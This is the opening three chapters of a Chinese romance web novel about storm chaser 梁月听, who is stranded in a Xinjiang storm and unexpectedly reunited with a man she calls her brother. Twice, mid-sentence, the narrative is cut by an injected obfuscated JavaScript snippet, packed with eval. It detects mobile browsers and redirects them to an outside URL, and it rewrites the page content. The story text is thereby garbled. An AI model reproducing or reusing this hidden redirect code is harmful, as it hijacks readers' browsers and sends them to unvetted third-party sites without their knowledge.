《夏夜九点半》 1. 楔子上 《夏夜九点半》 文/栖遥 2024.12.21 *“因为所有的歧途都把我引向你身边。” 赫尔曼·黑塞/《漫游者寄宿所》 第一章 北疆,阿勒泰地区。 夏日午后,一辆黑色的越野车在国道上飞驰,随着时间流逝,车窗外原本晴朗蔚蓝的天渐渐转阴,灰白色的云沉沉压在头顶,隐隐有更加厚重的趋势。 县与县之间的国道上,两边尽是无边无际的荒漠旷野,梭梭草寥落地长在路边,被风吹得簌簌颤动。 车内空调温度打到最低,副驾驶上的人手持相机支架,脖颈微低,专注垂眼盯住取景框。 她旁边的那扇车窗降到最低,因高速行驶而带起的风混杂着风暴前夕的水汽,猖狂地灌入车内,单薄的衣服被吹得贴住纤细的身体,长发向后飞舞,发丝在空中张扬。 但她却丝毫没有在意,漆黑纤长的眼睫低垂着,神情平静而专注地望着前方。 从方形的相机取景框里望出去,阴云更密了,低低地压在荒原上,满是黑云压城城欲摧的压迫感。 后座一位戴着黑框眼镜的男生抱着电脑敲击,眼睛没离开电脑屏幕,提高声音提醒道,“听听姐,风暴移动速度加快了。” 梁月听闻言抬起头,盯着远处变化的阴云。 一道闪电划破云层,短暂地映亮天边,白光绚烂而晃眼。 梁月听神情不变,两秒后,撩了把额发,单手利落地将长发挽起,纤细而有力的左手往后伸,简短道,“电脑给我。” 开车的是位本地中年男子,此时一边扶着方向盘,一边从后视镜里看了她两眼,犹豫着开口道,“小姑娘,天气越来越差了,还要往前吗?” 车内一片寂静,仅有呼呼灌入的风声与间歇的电脑敲击声,一时没人回应他。 梁月听连头都没抬,指尖在触控板上滑动,屏幕上跃动着一片花花绿绿的数据与地形图。 她看着移动的气团,又迅速地扫过周围地形,在大脑里推算风暴的大致路线,企图绕路拦截这场难得一见的雷暴。 司机不动声色地松了点油门,装作无事地补充道,“看样子要下暴雨,说不定还有冰雹呢。太危险了。” 车速逐渐下降,声音越来越轻,犹豫、想要停止与后退的心理十分明显。 后座的另一位女孩儿年纪也不大,利落地从黑色的器材包里拿出其他备用器材,一边脆生生地回答, “师父,我们可是一开始就跟您说清楚了的,这趟旅程会有点危险的哦,不然怎么能开到一小时四位数的价格,您说是吧?” 司机闻言,从后视镜里看了一眼,又尴尬地移开视线,“但那谁知道会这么危险……” 话音还未落,前方又是一道闪电。 城市中的闪电与无人旷野的闪电完全不能一概而论。 没有遮盖,没有掩映,巨大而刺眼的闪光自苍穹之顶劈下,横贯天地,径自劈开厚重而灰白的阴云,纵横交错,将荒原旷野映亮得如同白日。 仿佛是来自造物主无声的宣告,天空之下,凡人俗世皆为齑粉。 无声却磅礴。 危险,心惊,却又有难言的魅力。 一种难以言喻的美。 梁月听的视线从闪电的落点移开,又迅速地扫了一眼电脑屏幕,终于开口。 “四公里后左转。” 她声音很轻,嗓音甚至说得上是柔软,但语调平静,带着一种不容置喙的疏离感,像制冰机快速制出的空心冰块砸在瓷器里,清脆,冷淡,却也不容拒绝。 没有一句回应他的话,只是平静地用指令表明了态度。 司机在心里叹了口气,心里门儿清。 虽然副驾驶上这姑娘一路上都话少,但不难看出,她是这个小团队的主心骨,三言两语给出清晰的指令,不疾不徐、不偏不倚,像被纤细外表包裹住的薄冰,冷淡、疏离而又尖锐。 她美丽的皮囊下,是说一不二、踏往未知冒险的灵魂。 算了,追风暴就追风暴吧。 年轻人喜欢新奇的事物,开口还这么大方,总不至于把自己的性命也搭进去。 司机这么想着,咬咬牙,双手调转方向盘,拐入小路,踩下油门。 天空转瞬之间暗得更加异常,明明车载显示屏上显示当前时间为下午三点半,户外亮度与能见度却堪比落日后至午夜前。 连空气中都是山雨欲来风满楼的潮湿意味。 后排男生的相机抵住车窗,“能再快点吗,师傅?” 后排女生难掩焦灼地盯着前车窗,抱着三脚架,随时准备着下车固定器材。 眼见着天越来越阴,巨大的雨滴开始往下砸,车顶和车窗玻璃都在发出闷响。 前方本就是小路,狭窄逼仄,仅能供一车通行的单行道,雨后更是泥泞,黄土与雨滴混在一起,迅速化出湿答答而黏腻的泥水,在汽车驶过时往外飞溅。 后排女孩几乎整个人贴在车窗上,忽地惊呼一声,“听听姐,看!弧状积雨云和雨幡!” 梁月听的反应就要平静得多,应了一声“看到了”,然后三两下套上冲锋衣,把拉链拉到顶,只露出一双清亮的眼睛,让师傅靠边停。 举着相机器材,推开车门下车。 没了越野车的庇护,户外的风大到能把人吹到晃动,带着雨滴的狂风打在没被遮掩完好的脸颊上,一阵生疼。 梁月听微微躬身,护住相机,接过女孩儿递来的三脚架,低头固定器材。 三个人在旷野中显得如此渺小,几乎快要沦为广袤无际天地中的尘埃,随着风被吹向未知的远方。 沙尘在阴云下飞舞,稀疏、迅疾却又巨大的雨滴渐停,远处苍穹云卷云舒,快速而又变化莫测,闪电席卷,几乎是电影里才能见到的惊心动魄场景。 相机刚架好不久,停掉的雨滴化成了另一种方式落了下来,冰雹迅疾地从狂风中往下坠,砸得人生疼。 男生低头护住相机器材,梁月听把冲锋衣帽子拉到顶,像是没感觉到冰雹一般,专注地望着取景框。 显示屏上,厚重的云层快速变化,末尾悬挂着丝缕悬垂物,又迅速消散。 “是真的超级单体雷暴……”女生喃喃道,站在一旁,肉眼观测着满天的阴云。 浩瀚苍穹之下,大地沦为灰白,天空占据了视野中百分之八十的视线,抬眼是壮观的云体结构,在空中快速移动与旋转。 这不是城市中能见到的景观。 旷野,苍穹,闪电,风暴。 无数个令人震撼的关键词组合在一起,构成了万千气象爱好者与摄影师偏爱的场景,像是上天的馈赠,压迫感与震撼感并存,力重千钧。 “太漂亮了。”延时摄影的指示灯在镜头旁闪烁,戴着黑框眼镜的男生梦呓般感叹,根本移不开眼。 连司机都坐在驾驶位震撼。 只有梁月听没有出声。 她身量纤细却又恰到好处,介于女孩和女人之间,此刻安静地站在相机前。 国内罕见的超级单体风暴带来的狂风,几乎要将纤细的身影吹到离地,冲锋衣和裤脚都在猎猎作响。松松挽起的头发滑落,在狂风中肆意飞舞,露出冷白的半张脸,还有清亮的眼。 三脚架架在身前,黑色的相机器材在她手里,像是沉默不语,却又力重千钧的武器。 一旁感叹的女孩不经意间转头,看到她寥寥一人站在阴暗灰白、而又磅礴变幻的苍穹下,忽地想起从前看过她的采访,里面有一句话。 有时候真的不得不承认,在这个人人刻板规整如庞大社会机器中的机械零件时,有的人就是可以永远自由,无视规则、无视时间,永远追寻未知与不确定性,踏上布满荆棘的冒险旅程。 她身上有一种穿破任何固有规则的自由感,温和,却又锐利。 “梁月听就是天生为风暴而生的。” - 回程的路上不太顺利。 为了最大程度地展示风暴的全貌,摄影师一般都会选择固定器械延时摄影,将数个小时,甚至数天的影像压缩到极短的长度,能向观看者展示最完整、最清晰的变化轨迹,这个小团队也不例外。 但这也导致了他们在风暴席卷处待上了五六个小时的时间,熬过了猛烈的冰雹后,真正的暴雨和夜色一同降临。 外套和裤脚早已被打得透湿,在狂风中站立太久,仿佛血液都冰冷了,五指伸展不开,僵硬地握住相机和器材上车。 后座女孩儿哆哆嗦嗦地脱掉湿外套,连说话的声音都在抖,“没关系没关系,幸好我们拍到了想要的东西。” 男生也冷,并拢双手凑到嘴边,呼了口热气,“这是我今年拍过的最好的超级单体,跟着听听姐准没错。” 司机缓缓起步,朝着驶来的方向缓慢前行。 梁月听笑了一下,偏头望着窗外,“夸吧你就。” “我说真的。”男生叫盛子让,大学刚毕业,还带着点学生特有的稚嫩,认真道,“我从对摄影感兴趣的时候,就在看你拍图了,从来没想过能加入你的团队。” 他说着,还确认似的看了旁边的女生一眼,“你不信问甜甜。” 田甜还冷得牙齿发颤,往身上套外套,忙不迭点头,“是的!我们都很喜欢你的,听听姐。” 梁月听不太擅长应付如此直球的告白,沉默了一瞬,装作没听见两个年轻人后面紧跟的问句,唇边那点笑意淡了,只轻声道,“谢谢。” 驶进风暴降雨区。 小路泥泞,旷野无灯,阴云遮住无人区唯一明亮的星斗,猛烈的暴雨在前窗玻璃上落成一层又一层的流动水幕,连最高频的雨刷清理都显得徒劳无功。 雨大到连车顶都在颤动。 荒原无人区的路太过坎坷泥泞,即使是越野车,也能从与身体相连的地方感受到路面的崎岖不平,寸步难行。 “太难走了。”司机双手握住方向盘,一边谨慎地探身观察路况,一边向车内人告知。 梁月听也透过车窗观察着外面。 风暴还未远去。 暴雨如注,哗啦哗啦的声音灌进耳道,让司机和后排人说话的声音变得模糊。 有些卸力地偏头,身子往车窗一侧靠去,额头贴在冰凉的玻璃上,短暂地放空了一瞬。 近在咫尺的暴雨声冲刷着耳膜,入目是一片流动的浓黑,像是各大app里需要会员才能享用的顶级白噪音。 些许疲倦之下,梁月听难以抑制地出了神。 这是她穿梭于无人区旷野,跨越无数个省市,烧掉汽油和对故土的留恋,永远在路上追风暴的第三年。 三年的时间,说长不长,说短不短,却足以让自己形成习惯与肌肉记忆,关注实时气象,永远往龙卷风、冰雹与雷暴中去。 已经很久没有人问过,她到底为什么选择这个职业了。 青年人的疑问没有得到回应,也不大有所谓,继续你一句我一句,略显兴奋地在后座上聊天,聊关于人生的选择与理想,像朦胧模糊的背景音。 梁月听靠在车窗边,沉默地想。 他们还是太年轻了。 还不知道理想是这个世界上最虚无缥缈的东西,甚至不如暴雨下的一把伞,破旧出租屋里的最后一把挂面。 其实这个问题采访时也问过很多次,但回答结果总是不会出现在最后的成品稿件中。 因为她哪有什么远大的理想呢。 她只是无聊而已。 她只是觉得循规蹈矩的人生很没有意思而已。 毕竟从她十六岁那年开始,人生的轨迹就已经不受控制地向充满荆棘的那一侧偏转了。 她从来就不是什么走在康庄大道上的人。 “——轰!” 一声突如其来的巨响拉回了漫无目的的思绪,随着后排几声惊呼,越野车车头猛然向左侧边滑,又被刹车短暂停住。 强烈的倾斜感和刹车推背感使人猛地往前,又被安全带束缚着,重重弹回座椅上。 梁月听的额角在车窗玻璃上狠狠磕了一下,痛感急促,使人下意识皱起眉。 一片惊呼声中,她伸手紧紧握住车窗边缘,蹙眉往驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635150|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶位看。 越野车左前方的轮胎卡在泥泞的路坡上,整个车辆趋势向下俯冲,斜横在道路上。轮胎卡得极死,要上不下,在暴雨的冲刷下,还在顺着泥水缓慢下滑。 司机低骂一声,调转方向盘,操作多次,还是难以前进,无法后退,只能堪堪寻到一个最安稳的位置,暂时性地停住了下滑的趋势。 “开不了了。”几次发动失败,车辆彻底熄火后,司机说道。 显示台指示灯熄灭了一半,发动机停响,显得雨声更加巨大。 “啊?那怎么办?”田甜紧紧抓住副驾驶座椅,望着窗外的磅礴大雨和狂风,傻眼了。 梁月听呼出一口气,一边从包里翻出手机,一边跟司机确认了汽车状态,得到暂时稳定的回答后,翻出之前在国道行驶中拍下的,路边救援电话的广告牌照片。 输入号码,拨号,一气呵成。 但耳边听筒静谧异常,连拨通的嘟声都没有。 梁月听蹙着眉把手机从耳边拿下来,发现信号栏空空如也,一格都没亮。 没有信号。 北疆地域辽阔,城市与城市之间尽是荒野,就算在国道上行驶,没有信号的情况也时常会出现,何况他们现在并不在国道上,还有极端天气影响,这种情况再正常不过。 可是很致命。 车上四个人轮流拨打各类救援电话,司机也尝试拨通家人电话,或者电台求助,都没能成功。 窗外是雷电与暴雨,风暴与无人区,原地是短暂安全,却不知道什么时候会往下落的车辆。 像悬在头顶,迟早下落的利剑,使人焦虑不安,不敢坐以待毙。 司机回想这片的路况,隐约记得附近有个地质勘查工作站,就在来的路上,不算太远。 几个人商议一番,最后决定由两位男性下车去寻找救援,梁月听和田甜留在车上等待。 司机对附近稍微熟一些,穿好雨衣,带好手机,确认好地标位置和建筑,带着盛子让下车去了。 “注意安全。”梁月听说,“找不到也没关系。做好标记,迷路了就原路返回。” “知道了。”盛子让冲她们挥挥手,示意她们安心。 车门打开又关上,暴雨顺着倾斜的弧度灌进来,堆积在皮质座椅上,顺着往下坠。车内再度安静下来。 田甜大概是被吓着了,在后座上缩成一团,双臂抱着膝,一声不吭。 梁月听回头望了望,递了瓶水给她,轻声道,“不会有事儿的。” 田甜顿了几秒后,接过,吸了吸鼻子,“……嗯。” 车内又恢复寂静。 梁月听并不是什么喜欢安慰别人的人,看她没什么大事之后,就偏头接着看雨,像在出神。 倒是田甜,喝了点水之后,缓缓调整过来了,慢慢把腿放下来,坐舒展了,探头,好奇但又有些小心翼翼地问道: “……听听姐,这种情况在拍摄过程中,很常见吗?” 想了想,她又问道,“有不受控制的突发事件时,你不会害怕吗?” 梁月听盯着窗外漆黑的雨幕,顿了顿。 半晌,她避重就轻地回答,“算是比较常见吧。” “但这都只是暂时的困境而已,不会有影响的。不用担心。” 田甜哦了一声,点了点头,像吃了枚定心丸,抿着唇缩回去,开始玩手机上的单机游戏。 时间一分一秒地流逝。 约莫一小时后,车外传来除了雨声以外的其他声响。田甜忙抬起头,将脸贴到车窗玻璃上,费劲地往后观察。 “听听姐!!你快看!!”她说。 梁月听视线往下落。 副驾驶一侧的反光镜早被雨水蒙上一层流动的水雾,模糊而虚幻,唯有闪烁移动的白色远光灯还清晰。 巨大的雨幕下,一辆黑色的越野车从后驶来,稳稳地穿行在狂风骤雨中。车身在偶然一晃的灯光闪过时,泛出漆黑的冷光。 路虎车标一闪而过。 梁月听顿了顿。 “来来来,下车。”盛子让和司机师傅从后座下来,撑着伞,跨过泥泞积水的路面,到她们这辆车的右侧。 “等很久了吧?害怕吗?我们走过去花了点时间,雨太大了……”司机师傅一边打开副驾驶的车门,一边解释道。 斜飘的雨滴从敞开的车门灌进来,梁月听扶着车窗框,一脚踩到地面上,溅出轻微的水滴。 “没……”她回答道,视线扫过身后另一辆越野时,话音却倏然停住。 一把黑色的大伞撑在头顶,雨珠在幕布边缘凝成水滴,顺着伞骨往下滑。世界像是一场朦胧的雨幕,面前挂着一扇晶莹的珠帘,让一切都变得模糊。 唯有那辆车半降下的车窗里,露出的来人侧脸,依旧清晰。 男人坐在驾驶位,姿态略显散漫随意,后背松松靠在椅背上,脊背挺直,脖颈微垂。 视线再如镜头焦距般拉近,她看见他理得利落的额前黑发,鼻梁高挺,眼睫低垂,下颌线轮廓分明。 ……多么熟悉的一张脸。 熟悉到哪怕多年未见,哪怕中间隔着一场暴雨,也能清晰地望见。 好像过了很久,又好像没有。 直到那人许是终于察觉到了这份注视,缓慢地将视线从手机屏幕上移开,抬起眼来。 隔着遥远的雨幕,四目相对的那一瞬间—— 闪电横过苍穹,雨滴凝滞在空中,风止而草树停摇。 仿佛天地间的风暴都停止了。 荒原,旷野,云层,闪电。 一切都飘远了。 梁月听倏然呼吸一窒。 时隔多年再见,那双眼睛依旧瞳孔漆黑,眼尾微垂,显得散漫,却又锐利。 她从未想过会在这种地方碰见他。 湿透的裤脚,散落的发尾,狼狈的大雨夜。 一切都那么熟悉,甚至像是冥冥中的一个轮回。 那一瞬间,梁月听忽地想起了她难以言说的十六岁。 康庄大道与荆棘路。 那个人就是她的荆棘路。 2. 楔子下 窗外依旧暴雨如注,滴答滴答打在车顶。 车窗玻璃上汇聚起流动的水幕,未曾停歇,切割开车内车外两个世界。 车内一片安静。 静到了呼吸可闻的地步。 不知道是因为这辆车的底盘更高,还是因为开车的人技术过硬,车辆行驶得好像更加稳当,在狂风骤雨中穿行,亦如履平地,不感颠簸。 梁月听偏头去看窗外的景。 车内有阵很浅淡的柠檬香,却又不是常规的清新,略带一点切开果皮的辛辣和刺激,混杂着隐约的姜辛。 她看着窗外流动的黑色,想。 挺合适的香。 把那份沉郁和冷淡掩藏在看似平静的皮囊之下,连香都开始伪装。 想到此,她又几不可察地向左侧投去一眼。 那人的右手松松扶在方向盘上,骨节修长,手背筋骨分明,腕上戴着一只黑色的表。 指针流金,表盘在暗夜里闪烁。 低调得恰到好处。 只是粗略一瞥,还未触及更多,梁月听就倏然收回视线。 速度之快,甚至像是触电。 上车前,她站在雨幕中怔愣半晌,阴差阳错地成了最后一个,只能沉默地坐上副驾驶,偏头不让自己去看他。 看起来平静,实则心乱如麻。 大概她自己也不会想到,这么多年过去,在面对某些被刻意尘封的记忆时,还是会心绪飘飞难言。 在这看似安静,实则暗流涌流的氛围下,她不动声色地呼出一口长气。 而驾驶位的男人坐姿随意,眉眼平静,动作不疾不徐,完全看不出是在狂风骤雨中行驶的人。漆黑的眼睫垂下,看不出情绪。 安静的氛围一直持续到后座的人出声,打破沉寂。 田甜喝了口热水,左看右看,好奇地问:“这荒郊野外的,你们是在哪里找到的救援?” “就是之前说的那个地质勘查工作站。”盛子让坐在边上,“沿着大路往前走了大概三公里,就看见了。” “噢。”田甜点点头,“事业单位就是不一样,还管救援。” 其实本来应当是由驾驶位上的那个人来出声解释的,但他神情平静,恍若未闻,不像是要准备开口的样子。 几秒后,司机师傅笑了一声,解释道,“小姑娘,这你就不懂了吧。其实人家那儿全称叫中国地质调查局野外工作站,紧急救援是他们工作的一部分。” “噢……”田甜拖长尾音,了然似的点头,而后开始好奇地询问他们路上的经历。 但梁月听却没再听进去。 地质调查局,野外工作站,紧急救援。 这几个词连起来,好像怎么也跟林照野扯不上关系。 这个念头在大脑中盘旋数秒,又被强行压下去。 梁月听低头,在没有信号的手机屏幕上点点划划,试图转移自己的注意力。 许是已经远离风暴中心,靠近工作站了,屏幕顶部的信号栏忽地亮起一格。 聊天软件从红色的无互联网提醒,变成不停旋转的圆圈,十几秒后,消息提示音一声接一声地响起,未读信息一窝蜂地涌进来。 听到手机提示音响,后座聊天的三个人纷纷停下对话,掏出手机。 司机师傅给家里人通了电话,盛子让和田甜开始回复消息,甚至来不及改成静音模式,键盘声噼里啪啦,敲得很响。 车上氛围一时嘈杂起来。 只有驾驶位的男人,动也未动,神情平静,自始至终都没有反应。 他的手机随意地扔在驾驶和副驾驶位中间的操作台上,屏幕向下,斜斜卡住,连亮都没有亮一下。 不经意地察觉到这一点,梁月听顿了两秒。 她指尖在屏幕上悬停片刻,垂着眼,无意识地落下,随便点进了一个聊天框。 真是随便点的,指尖落在语音条上的时候都还在出神,完全没有注意对面是谁。 音量键在之前拨打救援电话的时候被开到最大,此刻误触之后,一个陌生的男声倏然在车内响起,响亮而又突兀。 “听听,最近有空吗?上次约会聊得很愉快,我想再跟你吃顿饭,我们或许可以再发展试试看……” 男声响起的那瞬间,梁月听就手忙脚乱地想要停止退出,偏偏被持续涌进的消息挤得手机卡顿,无法操作—— 直到强行锁屏后的好几秒后,才缓缓停止播放。 语音消息戛然而止。 但该听的也听的差不多了。 “……” 车内安静片刻。 连后座的人都不再说话。 盛子让和田甜双双从手机屏幕上抬起头来,先是瞪大眼睛震惊地看向她,然后十分默契地对视了一眼,交换了一个惊讶中夹杂着一些心照不宣的眼神。 从后视镜中看见了全程的梁月听:“……” 她尽量若无其事地放下手机,装作什么都没发生过的样子。 余光里,连驾驶位上那人都投来一眼,眉眼依旧平静冷淡,没什么温度,也没什么情绪。 好像只是被这声音打扰,随意地投来一瞥。 仅此而已。 呼吸倏然一窒。 梁月听彻底偏过头,把他扔在视线之外。 小插曲过后没一会儿,就到达了目的地。 “中国地质调查局野外工作站”几个字在黑暗中闪着光,男人将车开进大门,干脆利落地将越野车倒进车位里。 发动机熄火之后,显示盘上指示灯熄灭,他抬手将车门开锁,终于开口说了今晚的第一句话。 “到了。” 语调平缓,声音平静,毫无波澜。 然后他推开车门,下去了。 除此之外,再无他话。 梁月听坐在车里,拿着手机的那只手五指攥得很紧。 本来应该松一口气的。 但却莫名感到一股郁气,沉甸甸地压在心口,让人难以喘息。 驾驶位那一侧车门关闭的声音还在耳边回荡,甚至让人轻微有些耳鸣。 “听听姐?下车了。”田甜从中间挪到车门边,喊了她一声。 梁月听迅速回神,眨了眨眼,侧身推开车门,应了声好。 许是条件原因,工作站不算大,起码跟城市中的事业单位建筑不可一概而论,两三层楼高的普通建筑,白墙黑门,墙皮略潮,院落不大,是水泥地,三三两两停着几辆车。 甚至称得上是朴素和简陋。 但怎么也算是荒原中可以遮风避雨的安全感来源地。 一行人刚下车,就有另几位工作人员迎上来。 “怎么样?没事吧大家?”为首的男人年纪也不大,约莫三十岁左右,戴着工作牌,看着很亲切,边指引他们往里走,边自我介绍,“我叫严洲,是阿勒泰地区野外工作站的负责人。” “你好,梁月听。” 梁月听象征性地做了个自我介绍,把器材包挎到背上,跟工作人员表示了谢意。 严洲摇摇头说不必,带着他们往工作站里走,“你们的车我们去检查过了,暂时没有问题,但是由于目前还是风暴影响时期,要等到明天才能处理。” “没事,我们不急。”梁月听说。 严洲像是在这个工作岗位上待了很久的人,很健谈,短短几步路就和盛子让田甜聊起来了,从被困经历到对职业的好奇,你来我往,好不融洽。 氛围一下子就热闹起来,距离被拉近了。 梁月听缓慢落在后面,没出声。 跨进工作站建筑物一楼大门的时候,她顿了顿,回头望了一眼。 暴雨还在下。 那个人从车上下来之后就不见了踪影,此刻环顾四周,才在灯火微弱处寻到他的身影。 他立在远处的屋檐下,身上那件黑色大衣几乎快要融进夜色里,身姿颀长挺拔,脖颈微垂,不知在望向哪里。 抬手时,袖口下滑,露出一截冷白的手腕,指间一点火星明灭,在黑暗中十分明显。 ……还在抽。 看来是没戒掉。 这个想法不合时宜地从脑海里冒出来的时候,梁月听自己都愣了片刻。 怔愣间,她远远望见那边走廊上又来了个男人,凑过去跟那人讲话,还低头借了个火,像是聊起来了。 方才他孤身一人站在暴雨夜色中的那点寥落感,忽地就散了。 ……什么寂寥感。 想多了吧。 梁月听这么想着,收回视线,垂了垂眼,进门去了。 野外工作站是为服务地质勘查工作人员而建立的,新疆地大物博,矿产资源丰富,靠近边境线的阿勒泰地区尤其,荒漠众多,人烟稀少,工作站也几乎建立在荒野无人区。 夜已经深了,风暴还在继续,他们一行人无法立刻离开这里,也没有冒着生命危险前行的必要,于是受严洲邀请,在这里留宿一夜。 条件当然称不上好,员工宿舍一般的房间,用田甜的话来说,就是“自从高中毕业之后就再也没住过的上下铺”,但好在热水等基础设施都齐全。 梁月听先是检查了设备有没有磕碰,再将今天拍的视频和照片导入电脑,确认素材完整并备份。做完所有的一切之后,她才收拾东西去洗澡。 洗完澡后已经是凌晨一点,工作了一天,又因为意外而折腾了一晚上,难免困倦。 但在床上躺了半小时左右,还是难以入睡。 困,但睡不着。 这是她的常态。 不知道从什么时候起,用褪黑素助眠已经成了习惯。 梁月听起身在包里翻找药片,却半晌都没找到,蹙着眉站在桌边,有些恼火地仔细回想之后,才倏然想起,可能是收拾东西时比较匆忙,装到了田甜的包里。 可她这会儿人没在。 梁月听抬手掩住嘴,小幅度地打了个哈欠,下楼去找人。 楼梯依旧是水泥地,灯泡是最老式的那一种,孤零零的发光管外罩一层透明材质,直接裸/露地挂在头顶,却依旧昏暗。 年轻人好像总是有用不完的精力,继近八个小时的车程、五个小时的拍摄,和意外被困的经历之后,还能在深夜兴致盎然地坐在楼下大厅里聊天。 “咦,听听姐你还没睡啊。” 还没等梁月听发问,田甜就先注意到了她,兴致勃勃地冲她招手,很是兴奋,“我们在这儿学危急情况下的紧急联络方法。” 梁月听扫了一眼,木质大桌上摆放着一个平板,屏幕上正播放着视频,标题是“如何使用手机进行紧急呼叫”。 约莫还是今天被吓着了,准备学点什么东西。梁月听不太感兴趣,但也没打击这俩年轻人的积极性,只是移开视线,摆了摆手表示拒绝,问,“我褪黑素是在你那儿吗?” “哦哦对,我之前好像看见了,我帮你找找。”田甜把包拿过来,低头翻找。 盛子让在一旁认真学习,在关键处暂停了视频,念着上面的文字,“同时按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635151|156290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住手机锁屏键和两个音量键五秒钟,待出现紧急联络标志后持续三秒,会自动拨打紧急联络电话……” 他一边说,一边看了看自己的手机,“甜甜,你设置过紧急联络人吗?” 田甜还在低着头翻包,掏出了纸巾、梳子、口红、气垫等一系列小玩意儿,生动形象地诠释了女孩子的包里什么都有这一道理,“设过吧应该,好像是我妈。” 盛子让摊手,“那你给我试试,我的没设。” “在桌上呢,你自己拿。” 盛子让哦了一声,张望两下,起身把长桌另一边的手机拿过来,照着视频显示的方法慢慢尝试,边试还边念念有词。 “找到了找到了。” 田甜从包里掏出小药瓶,起身递给梁月听,还贴心小声劝了几句,说她失眠就应该去看医生调理一下,总依赖药物也不是个事儿。 梁月听笑了一下,应付似的说好,然后转身去墙角的饮水机接了杯温水。 田甜蹦跳着回去了,看盛子让操作手机。 但没过两秒,梁月听听见她错愕地问,“诶?你这是谁的手机,不是我的啊?” “啊?”盛子让也懵,拿给她确认,“桌上就只有这一个手机啊,不是你的吗?” 田甜拨浪鼓似的摇头,左看右看,最后在她身后的椅子上发现了自己的手机,拿起来,瞪大眼睛看着他。 “我记错了,我刚放椅子上了。” 两个人错愕地对视几秒,接着,盛子让反应过来,连忙松开同时按住三个按键,正在进行紧急呼叫的手。 然而太晚了。 五秒又三秒,紧急联络的标志已经消失,电话成功拨了出去。 “卧槽,这谁的手机啊到底,设没设紧急联络人的啊!别直接打到120去了吧……”两个人手忙脚乱,连忙想要暂停,却越慌越乱,没能成功。 梁月听刚喝了口温水,送服了药片,太阳穴突突疼,疲倦得很,不太想管这两人深夜闹出来的乌龙。 都是成年人了,自己惹的麻烦,应该自己解决。 她把一次性纸杯扔进垃圾桶,转身准备上楼。 然而在她转身的同时,握在手里的手机屏幕一亮—— 锁屏壁纸一闪,页面切换为被动的、只有红绿两个键的选择页。 紧接着,响起了来电铃声。 与此同时,盛子让手里的手机屏幕上也浮现出拨号的对象。 没有备注,没有头像,什么都没有,只是一串十一位的数字,显示归属地为C市。 那一瞬间,大厅里的三个人都愣住了。 难以置信的想法在脑海中逐渐变得鲜明。 ……哪有那么巧的事。 凌晨两点钟拨出的电话与响起的铃声,和号码那头同一归属地,同为182开头的梁月听。 梁月听站在原地,盯着手机屏幕上亮着的来电提醒发呆。 在这个完全陌生,从未踏足过的地方,一部黑色的手机,一个出乎意料的,不是来自盛子让,也不是来自田甜的呼叫。 ……答案似乎已经很明显了。 除开他们以外,她此刻在这里仍有交集的,就只有那么一个人。 但不知道为什么,她就是站在那里,身体僵直,大脑发愣,在满篇答案中游移,犹犹豫豫,不敢触碰。 她身后,田甜和盛子让面面相觑,指尖在挂断键上悬浮,要落不落,不知道该怎么办。 大厅掩住未锁的门忽然被吱呀一声打开,有风吹进,带着潮湿的气息。 来人穿着黑色大衣,裹着一身夜雨寒气,眉眼依旧平静,却难掩倦冷,动作缓慢却干脆,像是短暂地进入这里,只为了完成一件顺路的任务。 视线触及被盛子让拿在手里的手机之后,他动作倏然一顿,停在门口。 气氛顿时又安静下来。 屋檐下的雨声更加明显了,清脆又迅疾,大颗大颗落在地面,砸出的声响连绵不断,在耳边浮动。 木质门槛其实不高,对于成年男人来说,更是连头都不用往下低的轻松,然而此刻隔在远远站着的两个人中间,仿佛像什么永远也越不过去的鸿沟。 安静,潮湿,黏腻。 不为人知的暗流,正沉默地在这个未曾预设的异乡中流动。 像是过了很久,又好像没有,愣头青的发问依旧是打破沉默的一把好手。 盛子让道着歉让人进来坐,把手机递给他。田甜抱着平板,小声问,“……听听姐,你是不是认识送我们回来的那个帅哥啊?” “那是谁啊?”她问。 ……那是谁呢。 梁月听也在想。 一时间,脑海里闪过无数个画面。 积满水的巷口初遇,行李滑轮溅起的雨水泥点,黑色卫衣帽檐下漆黑如墨的眼。 还有停电夏夜里潮湿而闷热的触感,逼仄房间里隔着一扇落满灰尘的纱窗,抬眼望见的剪影。 这些画面倏然从记忆里涌现出来,却没有如预料的那般,像是上个世纪末闪烁着雪花点的黑白默片,反而清晰异常,甚至像是昨天。 沉默良久之后。 “……我哥。” 她最后这样说。 那一瞬间,空气仿佛静止,时间被无限制地拉长。隔着一张斑驳空桌子对坐的两个人,好像都有片刻的愣神。 哥。 他们不一而同地想着这个字。 这是梁月听二十六年漫长的人生里,绝无仅有的第二次。 3. 矛与盾 03 光阴倒带回十年前。 二零一二年。 梁月听搬到南城的那天,也在下雨。 绿皮火车摇摇晃晃,光是坐在座位上就可以感知到车轮的转动,穿过交错的轨道,鸣笛声一下接一下,带来轻微的耳鸣。 她坐在窗边,从方形的火车玻璃往外看。 窗外是阴云密布的小城景色,淅淅沥沥的雨连绵不绝,落在年岁已久的瓷砖地上,房屋老旧,色调昏暗,一切都仿佛被框在一定比例的取景器里,陌生得像一场梦。 也许待会儿就不像了。 因为她没带伞。 十六岁的少女一个人搬家,东西有限,力气也有限,一个黑色的行李箱就是全部的行囊了。 面前的小方桌上摆着一部手机,屏幕还亮着,显示有一条信息,来自董淑和。 【公司里忽然有点事,走不开,给你转了点钱,自己打车回去吧。家在巷子里面,车开不进去,叔叔让你哥去接你。】 